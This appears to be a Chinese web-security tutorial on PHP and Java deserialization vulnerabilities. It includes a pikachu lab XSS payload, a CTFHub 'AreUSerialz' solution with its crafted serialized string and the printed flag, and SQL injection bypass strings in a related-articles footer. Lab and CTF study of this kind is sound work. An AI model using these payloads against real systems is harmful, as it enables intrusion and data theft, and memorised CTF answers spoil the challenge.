web渗透-反序列化漏洞

一、简介

就是把一个对象变成可以传输的字符串,目的就是为了方便传输。假设,我们写了一个class,这个class里面存有一些变量。当这个class被实例化了之后,在使用过程中里面的一些变量值发生了改变。以后在某些时候还会用到这个变量,如果我们让这个dlass一直不销毁,等着下一次要用它的时候再一次被调用的话,浪费系统资源。当我们写一个小型的项目可能没有太大的影响,但是随着项目的壮大,一些小问题被放大了之后就会产生很多麻烦。这个时候php就和我们说,你可以把这个对象序列化了,存成一个字符审,当你要用的时候再放他出来就好了。在我们讲php反序列化的时候,基本都是围绕着serialize(). unserialize()这两个函数。

二、PHP序列化和反序列化

序列化

#  序列化函数:serialize()<?php
class  Person {var $name="varin";
}
$user1 = new Person();
echo serialize($user1);
?>

image.png

O:对象
6:对象名称长度
Person:对象名称
1:表示有一个值
s:字符串
4:变量名长度
...常见的几个魔法函数:__construct()当一个对象创建时被调用__destruct()当一个对象销毁时被调用__toString()当一个对象被当作一个字符串使用__sleep() 在对象在被序列化之前运行__wakeup将在序列化之后立即被调用

反序列化

<?php
class  Person {var $name="varin";
}
// 序列化
$user1 = new Person();
$user1_ser= serialize($user1);
// 反序列化
$user2 = unserialize($user1_ser);
print_r($user2);
echo "<br>";
echo $user1->name;
?>

image.png

三、JAVA序列化和反序列化

使用:

序列化

import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.Serializable;public class Test {public static void main(String[] args) throws IOException {// 序列化Person person = new Person("varin");System.out.println(person);ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("./varin.txt"));objectOutputStream.writeObject(person);objectOutputStream.flush();objectOutputStream.close();}
}
class Person implements Serializable{public Person(){}private  String name;public String getName() {return name;}public void setName(String name) {this.name = name;}public Person(String name) {this.name = name;}@Overridepublic String toString() {return "Person{" +"name='" + name + '\'' +'}';}
}

image.png

反序列化

技巧:若在网站上看见一段数据以r00AB开头,大概率是JAVA序列化Base64加密的数据
或者:是以aced开头,是java序列化的十六进制数据

import java.io.*;public class Test {public static void main(String[] args) throws IOException, ClassNotFoundException {//反序列化ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("./varin.txt"));Person o =(Person) objectInputStream.readObject();objectOutputStream.close();System.out.println(o.getName());}
}

image.png

扩展-java执行系统命令

import java.io.*;public class Test {public static void main(String[] args) throws IOException, ClassNotFoundException {// java执行系统命令Process ifconfig = Runtime.getRuntime().exec("ipconfig");InputStream inputStream = ifconfig.getInputStream();BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));String s = null;while (( s = bufferedReader.readLine()) != null) {System.out.println(s);}bufferedReader.close();}
}

image.png

四、PHP反序列化漏洞重现

  • 靶场:pikachu
// 漏洞源码
/*
核心:
以POST方式接收序列化对象o,
接收后并将o对象序列化后赋值给对象$unser,页面打印对象$unser的test属性
*/<?php
/*** Created by runner.han* There is nothing new under the sun*/$SELF_PAGE = substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1);if ($SELF_PAGE = "unser.php"){$ACTIVE = array('','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','active open','','active','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','');
}$PIKA_ROOT_DIR =  "../../";
include_once $PIKA_ROOT_DIR.'header.php';class S{var $test = "pikachu";function __construct(){echo $this->test;}
}//O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
$html='';
if(isset($_POST['o'])){$s = $_POST['o'];if(!@$unser = unserialize($s)){$html.="<p>大兄弟,来点劲爆点儿的!</p>";}else{$html.="<p>{$unser->test}</p>";}}
?>
# 序列化结构:
O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}

image.png

五、CTF-PHP反序列化漏洞利用

平台:https://www.ctfhub.com/
题目名称:AreUSerialz
思路:

// 弱类型对比:== (存在漏洞:“2”==“ 2” 返回true)
// 强类型对比:=== 1 git方式提交str参数
2unserialize()函数表示需要序列化数据
3 FileHandler类三个变量,5个函数其中两个魔法函数,3个自定义函数
4 魔法函数:__construct()创建 、__destruct()销毁
5 write ()read()process()
6 因为代码中并创建对象,所以未使用__construct()函数,只执行__destruct()
7 __destruct()函数中将$content变量中的值清空了,所以write方法无效
8 利用弱类型对比漏洞,进入到read方法
9 因为代码中有文件包含:include("flag.php"),所以尝试读取,$filename=“flag.php”
10 构造序列化字符串
<?php
class FileHandler {protected $op=" 2";protected $filename="flag.php";protected $content="";
}
$o = new FileHandler();
echo serialize($o);
# O:11:"FileHandler":3:{s:2:"op";s:2:" 2";s:8:"filename";s:8:"flag.php";s:7:"content";s:0:"";}?>
# 将序列化字符赋值给str并使用get方法请求网址后,进入到网页的源代码页面

image.png

# flag
$FLAG = "ctfhub{128ad0a5b38aae3ac705237b}"

六、扩展:WebGoat靶场实战(JAVA靶场)

  • github地址:https://github.com/WebGoat/WebGoat/tags
  • 注意:jar包运行环境为:JDK17
  • 启动jar包命令:java -jar webgoat-2023.8.jar
  • 访问网址:[http://127.0.0.1:8080/WebGoat](http://127.0.0.1:8080/WebGoat)

image.png

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/38073.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

ctfshow sqli-libs web541--web551

web541 and和or 被替换为空格 # 还有 1 也是不能生效的?id-1 union select 1,2,3-- 双写绕过 ?id-1 union select 1,(select group_concat(table_name) from infoorrmation_schema.tables where table_schemactfshow),3 -- flags?id-1 union select 1,(select group_con…

Nginx软件的安装及使用

Nginx概述 Nginx功能介绍 静态的web资源服务器html&#xff0c;图片&#xff0c;js&#xff0c;css&#xff0c;txt等静态资源http/https协议的反向代理 &#xff0c;7层 url结合FastCGI /uWSGI/SCGI等协议反向代理动态资源请求tcp/udp协议的请求转发&#xff08;反向代理…

计算二叉树的深度

#include <iostream> // 定义二叉树节点 struct TreeNode { int val; TreeNode* left; TreeNode* right; TreeNode(int x) : val(x), left(nullptr), right(nullptr) {} }; // 递归函数来计算二叉树的深度 int maxDepth(TreeNode* root) { i…

【Linux】Linux系统配置,linux的交互方式

1.Linux系统环境安装 有三种方式 裸机安装或者双系统 -- 不推荐虚拟机安装 --- 不推荐云服务器/安装简单&#xff0c; 维护成本低——推荐&#xff0c; 未来学习效果好 我们借助云服务器 云服务器&#xff08;Elastic Compute Service&#xff0c;ECS&#xff09;的标准定义…

以太网交换机原理

没有配置&#xff0c;比较枯燥&#xff0c;二可以认识线缆&#xff0c; 三比较重要&#xff0c;慢慢理解&#xff0c;事半功倍。 各位老少爷们&#xff0c;在下给大家说段以太网交换机原理&#xff0c;说得不好大家多多包涵&#xff0c;说得好呢&#xff0c;大家叫个好&#x…

【面试系列】数据分析师高频面试题及详细解答

欢迎来到我的博客&#xff0c;很高兴能够在这里和您见面&#xff01;欢迎订阅相关专栏&#xff1a; ⭐️ 全网最全IT互联网公司面试宝典&#xff1a;收集整理全网各大IT互联网公司技术、项目、HR面试真题. ⭐️ AIGC时代的创新与未来&#xff1a;详细讲解AIGC的概念、核心技术、…

数据库回表介绍

索引覆盖 索引覆盖或称为覆盖索引&#xff0c;是数据库中的一种优化手段当我们在执行一个sql查询时&#xff0c;如果只需要查询某几个字段的值&#xff0c;并且这几个字段的数据都已经被包含在某一个索引中(而不是全表扫描)&#xff0c;那么数据库引擎就会直接通过这个索引来取…

使用slenium对不同元素进行定位实战篇~

单选框Radio定位&#xff1a; 单选框只能点击一个&#xff0c;并且点击之后并不会被取消&#xff0c;而多选框&#xff0c;能够点击多个&#xff0c;并且点击之后可以取消 import org.junit.Test; import org.openqa.selenium.By; import org.openqa.selenium.WebDriver; imp…

FastAPI教程III

本文参考FastAPI教程https://fastapi.tiangolo.com/zh/tutorial 这部分暂无需求的没有记录&#xff0c;仅放置标题。 依赖项 安全性 中间件 你可以向FastAPI应用添加中间件。 ”中间件“是一个函数&#xff0c;它在每个请求被特定的路径操作处理之前&#xff0c;以及在每个…

PyCharm 2024.1 版本更新亮点:智能编程,高效协作

目录 1. 前言2. 更新内容2.1 智能编码体验2.1.1 Hugging Face 文档预览2.1.2 全行代码补全 2.2 提升编辑器体验2.2.1 粘性行功能2.2.2 编辑器内代码审查 2.3 全新终端体验&#xff08;测试版&#xff09;2.3.1 新终端 Beta 2.4 智能助手&#xff08;特定版本和专业用户&#xf…

短视频矩阵系统:打造品牌影响力的新方式

一、短视频矩阵概念 短视频营销革命&#xff1a;一站式解决策略&#xff01;短视频矩阵系统是一款专为企业营销设计的高效工具&#xff0c;旨在通过整合和优化众多短视频平台资源&#xff0c;为企业呈现一个全面的短视频营销策略。该系统致力于协助企业以迅速且高效的方式制作…

小白学webgl合集-WebGL中给图片添加背景

一.实现效果 二.逻辑 为了在WebGL中给图片添加背景&#xff0c;主要的逻辑步骤包括初始化WebGL上下文、编写和编译着色器、创建和绑定缓冲区、加载和配置纹理以及绘制场景。以下是代码逻辑的详细说明&#xff1a; 1. 获取WebGL上下文 首先&#xff0c;通过获取<canvas>…

WEB与低代码:B/S架构在开发中的应用与优势

在互联网迅猛发展的今天&#xff0c;WEB应用已经成为人们日常生活和工作中不可或缺的一部分。随着技术的进步和需求的多样化&#xff0c;开发高效、灵活且易于维护的WEB应用变得尤为重要。B/S架构&#xff08;Browser/Server Architecture&#xff09;作为一种常见的WEB应用架构…

天天生鲜数据库设计

目录 1、用户表2、商品表SKU和SPU的概念区分3、商品表改进4、redis实现购物车模块&#xff0c;redis保存用户最近浏览记录5、订单表 设计表时&#xff0c;出现一对多的情况&#xff0c;可以将对应的“多”单独拿出来重新设计一个表 1、用户表 &#xff08;灰色的部分不存在表…

MySQL之如何处理超大分页

如何处理MySQL超发分页&#xff1f; 可以使用覆盖索引解决 【点击进入】 MySQL超大分页处理 在数据量较大时&#xff0c;如果使用limit分页查询&#xff0c;在查询时&#xff0c;越往后&#xff0c;分页查询效率会越低。 示例&#xff1a; select * from user limit 900000…

Spring 的表单处理

Spring 提供了强大的表单处理功能&#xff0c;简化了 Web 应用程序中用户输入数据的绑定和校验。在这篇文章中&#xff0c;我们将深入探讨 Spring 的表单处理机制&#xff0c;包括表单提交、使用 ModelAttribute 进行数据绑定、数据绑定与校验&#xff0c;以及使用 Valid 和 Bi…

仓库管理系统带万字文档基于spingboot vue的前后端分离仓库管理系统java项目java课程设计java毕业设计

文章目录 仓库管理系统一、项目演示二、项目介绍三、万字项目文档四、部分功能截图五、部分代码展示六、底部获取项目源码带万字文档&#xff08;9.9&#xffe5;带走&#xff09; 仓库管理系统 一、项目演示 仓库管理系统 二、项目介绍 基于spingboot和vue的前后端分离仓库管…

vue 中computed和watch的区别

computed与watch的区别 首先&#xff0c;computed是计算属性&#xff0c;watch是监听&#xff0c;监听data中的数据变化。 computed的计算属性它支持缓存&#xff0c;只有当依赖项发生改变的时候&#xff0c;它才会重新计算&#xff0c;否则它用的就是缓存的值。watch不支持缓…

华测视频RTK,AR实景导航

华测导航视频测量RTK技术,通过融合卫星导航、惯导与视频摄影测量算法,让“所见即所测”成为现实,让测量工作变得更加智能、高效。 视频测量RTK:智能测绘的新里程碑 华测RTK的性能和广泛应用,在市场中获得了用户的认可,平均每10位用户中即有6位推荐。其视频测量功能通过引入自动…

如何用GPT开发一个基于 GPT 的应用?

原文发自博客&#xff1a;GPT应用开发小记 如何开发一个基于 GPT 的应用&#xff1f;答案就在问题里&#xff0c;那就是用 GPT 来开发基于 GPT 的应用。本文以笔者的一个开源项目 myGPTReader 为例&#xff0c;分享我是如何基于 GPT 去开发这个系统的&#xff0c;这个系统的功能…